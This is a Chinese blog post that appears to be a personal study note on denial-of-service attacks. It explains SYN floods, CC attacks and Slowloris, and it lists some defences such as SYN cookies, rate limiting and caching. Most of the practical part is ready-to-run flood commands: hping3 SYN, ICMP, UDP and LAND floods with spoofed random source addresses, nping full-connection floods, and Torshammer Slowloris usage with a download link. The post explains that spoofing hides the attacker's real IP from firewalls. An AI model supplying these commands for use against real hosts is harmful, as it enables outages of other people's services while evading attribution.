欢迎来到赛兔子家园

DDOS攻击

DDOS简介

DDOS又称为分布式拒绝服务。DDOS利用合理的请求造成资源过载,导致服务不可用。分布式拒绝服务攻击,将正常请求放大N倍,通过若干个网络节点同时发起攻击,以达成规模效应。这些网络节点往往是黑客们所控制的肉鸡,数量到达一定规模后,就形成了一个僵尸网络。大型的僵尸网络,甚至达到了数万、数十万台的规模。如此规模的僵尸网络发起的DDOS攻击,几乎是不可阻挡的。

DOS简介

利用程序漏洞或一对一资源耗尽的Denial of server拒绝服务,DOS是一对一的攻击完全拼各自资源、效果差。

DDOS多对一的攻击汇聚资源能力,重点是量大,属于资源耗尽型。

Dos分类

D网络

基于巨量的Flood耗尽目标网络宽带资源

例如:ICMP Flood-->该攻击在短时间内向目的主机发送大量ping包,消耗主机资源。

           UDP Flood -->一种利用大量UDP小包冲击 DNS服务器,是一种消耗对方资源,也消耗你自己的资源。

以上两点攻击只做了解,这个时代已经淘汰了。

D协议

攻击协议漏洞发起的拒绝服务攻击。例如:Syn Flood、

D应用

针对应用软件和操作系统漏洞发起的拒绝服务攻击。

大量频繁访问消耗系统资源严重的应用(CC),通常表现为操作系统运行正常,网络流量不大,但服务停止响应也是耗尽目标资源。

 syn-Flood

SYN flood利用了TCP协议设计中的缺陷,而TCP/IP协议是整个互联网的基础,如今想要修复这样的缺陷几乎成为不可能的事情。

       

SYN food在攻击时,首先伪造大量的源IP地址,分别向服务器端发送大量的SYN包,此时服务器端返回SYN/ACK包,因为源地址是伪造的,所以伪造的IP并不会应答,服务器端没有收到伪造IP的回应SYN/ACK包,因为源地址是伪造的,所有伪造的IP并不会应答,服务器端没有收到伪造IP的回应,会重试3~5次并且等待有关SYNTime(一般30秒 倒 2分钟),如果超时则丢弃这个连接。攻击者大量发送这种伪造源地址的SYN请求,服务器端将会消耗非常多的资源(CUP和内存)来处理这种半连接,同时还要不断地对这些IP进行SYN+ACK重试。最后的结果是服务器无暇理睬正常的连接请求,导致拒绝服务。

对抗SYN food的主要措施:SYN cookie/SYN Proxy、safereset算法等。SYN cookie主要思想是为每一个IP地址分配一个Cookie,并统计每个IP地址的访问频率。如果在短时间内收到大量来自同一个IP地址的数据包,则认为受到攻击,之后来自这个IP地址的包将被抛弃。

Syn food攻击实战

使用kali中的hping3工具进行攻击,该工具默认已经安装到kail中。

hping3 -c 100 -d 15 -S -w 64 -p 81 --flood --rand-source  192.168.3.154

使用hping3发送100个大小为15的 TCP window大小64的攻击数据包到IP地址为192.168.3.154:81 端口81的攻击机上,--flood表示尽快发TCP包,--rand-source攻击者的ip随机变化

 

 

Dos

应用层DDOS,不同于网络层DDOS,由于发生在应用层,因此TCP三次握手已经完成,连接已经建立,所以发起攻击的IP地址也都是真实的。但应用层DDOS有时甚至比网络层DDOS攻击更为可怕。

CC攻击

CC攻击的前身是一个叫fatboy的攻击程序,当时黑客为了挑战绿盟的一款反DDOS设备开发。

CC攻击的原理非常简单,就是对一些消耗资源较大的应用页面不断发起正常的请求,以达到消耗服务端资源的目的。在web应用中,查询数据库、读/写硬盘文件等操作,相对都会消耗比较多的资源。

应用层DDOS攻击是针对服务器性能的一种攻击,那么优化服务器性能的方法,都或多或少能缓解此种攻击。例如使用频率高的数据放到memcache或redis中,相对查询数据库所消耗的资源来说,查询memcache或redis所消耗的资源可以忽略不计。

实例

使用工具HttpDdos进行攻击

攻击以后查看被攻击机器资源,同时服务该网站变卡。

常见的CC攻击防御

限制请求频率,通过IP地址与Cookie定位一个客户端,如果客户端的请求在一定时间内过于频繁,则对之后来自该客户端的所有请求都重定向倒一个出错页面。

然而这种防御方法并不完美,因为在客户端的判断依据上并不是永远可靠的。这个方案中有两个因素用以定位一个客户端:一个是IP地址,另一个是Coookie。但用户的IP地址可能发生改变,而Cookie又可能被清空,如果IP地址和Cookie同时都发生了变化,那么就无法再定位到同一个客户端了。

代码要做好性能优化。合理使用memcache或redis就是一个很好的优化方案,将数据库的压力尽可能转移到内存中。此外还需要及时地释放资源,比如及时关闭数据库连接,减少空连接等消化。

网络架构做好优化。善于利用负载均衡分类,避免用户流量集中在单台服务器上。同时可以充分利用好CDN和镜像站点的分流作用,缓解主站的压力。

限制每个IP地址的请求频率。

资源耗尽攻击

除了CC攻击外,攻击者还可能利用一些Web Server的漏洞或设计缺陷,直接造成拒绝服务。

Slowloris攻击

Slowloris原理是以极低的速度往服务器发送HTTP请求。由于Web Server对于并发的连接数都有一定的上限,因此若是恶意地占用连接不释放,那么Web Server的所有连接都将被恶意连接占用,从而无法接受新的请求,导致拒绝服务。

在正常的HTTP包头中,以两个\r\n\r\n表示HTTP Headers部分结束。

攻击者发送\r\n,因此将认为HTTP Headers部分没有结束,并保持此连接不释放,继续等待完整的请求。此时客户端再发送任意HTTP头,保持住连接即可。当构造多个连接后,

服务器的连接数很快就会达到上限。

 攻击实例

环境: python2    攻击工具:Torshammer里面的torshammer.py文件

Torshammer下载地址:链接:https://pan.baidu.com/s/1y7eVMmyqAsjhrAUjsAUQLA   提取码:18tq  或者https://github.com/   搜索下载

 攻击实例

环境: python2    攻击工具:Torshammer里面的torshammer.py文件

Torshammer下载地址:链接:https://pan.baidu.com/s/1y7eVMmyqAsjhrAUjsAUQLA   提取码:18tq  或者https://github.com/   搜索下载

Torshammer目录里面有5个文件

 cmd中进入到Torshammer目录执行:python torshammer.py -t 被攻击者ip -p 端口  -r 并发数

例如:python torshammer.py -t  192.168.3.127 -p 81 -r 1000     

1000个并发向192.168.3.127:81进行攻击

 发生的所有数据包都是拆分的发如图:

 

 

192.168.3.154资源截图

 

拒绝服务攻击

kali中的Hping3

Hping3 -几乎可以定制发送任何TCP/IP数据包,用于测试FW、端口扫描、性能测试

Syn Flood 攻击

-hping3 -c 1000 -d 120 -S -w 64 -p 80 --flood --rand-source 1.1.1.1

-hping3 -S -P -U -p 80 --flood --rand-source 1.1.1.1

-hping3 -SARFUP -p 80 --flood --rand-source 1.1.1.1 (TCP Flood)

ICMP Flood 攻击

-hping3 -q -n -a 1.1.1.1 --icmp -d 56 --flood 1.1.1.2

UDP Flood 攻击

-hping3 -a 1.1.1.1 --udp -s 53 -d 100 -p 53 --flood 1.1.1.2

LAND攻击 -特殊种类的SYN Flood攻击 -源地址、目的地址都是受害者,受害者于自己完成三次握手

    —hping3 -n –a 1.1.1.1 -S -d 100 -p 80 –flood 1.1.1.1

TCP全链接DoS攻击

   —nping --tcp-connect --rate=10000 -c 1000000000 -q 1.1.1.1

查公网IP

   —nping --echo-client "public" echo.nmap.org --udp

参数介绍

hping3 -c 10000 -d 120 -S -w 64 -p 80 --flood --rand-source testsite.com

  • -c:发送数据包的个数
  • -d:每个数据包的大小
  • -S:发送SYN数据包
  • -w:TCP window大小
  • -p:目标端口,你可以指定任意端口
  • –flood:尽可能快的发送数据包
  • –rand-source:使用随机的IP地址,目标机器看到一堆ip,不能定位你的实际IP;也可以使用-a或–spoof隐藏主机名
  •  -n  --numeric  数字化输出,象征性输出主机地址。
  • 伪造IP攻击,防火墙就不会记录你的真实IP了,当然回应的包你也接收不到了。

模式选择

  default mode  TCP  // 默认模式是 TCP

   -0  --rawip     RAWIP模式,原始IP模式。在此模式下HPING会发送带数据的IP头。即裸IP方式。使用RAWSOCKET方式。

   -1  --icmp      ICMP模式,此模式下HPING会发送IGMP应答报,你可以用--ICMPTYPE --ICMPCODE选项发送其他类型/模式的ICMP报文。

   -2  --udp        UDP 模式,缺省下,HPING会发送UDP报文到主机的0端口,你可以用--baseport --destport --keep选项指定其模式。

    -8  --scan        SCAN mode. //扫描模式 指定扫描对应的端口。Example: hping --scan 1-30,70-90 -S www.target.host    // 扫描

    -9  --listen       listen mode  // 监听模式
IP模式
 -a  --spoof         spoof source address  //源地址欺骗。伪造IP攻击,防火墙就不会记录你的真实IP了,当然回应的包你也接收不到了。
 --rand-dest        随机目的地址变化模式。
 --rand-source    攻击者IP随机变化模式
-w    TCP window大小

通信协议

  • -M  --setseq     set TCP sequence number
  • -L  --setack    set TCP ack
  • -F  --fin          set FIN flag
  • -S  --syn        set SYN flag
  • -R  --rst         set RST flag
  • -P  --push      set PUSH flag
  • -A  --ack        set ACK flag
  • -U  --urg        set URG flag
  • -X  --xmas     set X unused flag (0x40)
  • -Y  --ymas     set Y unused flag (0x80)

如果不指定通信协议默认是 TCP 协议

 hping3 -c 1000 -d 120 -S -w 64 -p 81 --flood --rand-source  192.168.3.129

hping3 -n -S -d 100 -p 81 --flodd --rand-source 192.168.3.129

■LAND攻击 -特殊种类的SYN Flood攻击 -源地址、目的地址都是受害者,受害者于自己完成三次握手,也就是受害者与自己完成三次握手。

—hping3 -n –a 1.1.1.1 -S -d 100 -p 80 –flood 1.1.1.1

-a 指定伪造的IP地址   -flood  尽快发包

TCP全链接DoS攻击

—nping --tcp-connect --rate=10000 -c 1000000000 -q 1.1.1.1

posted on 2020-05-09 11:20  赛兔子  阅读(12)  评论(0)    收藏  举报

导航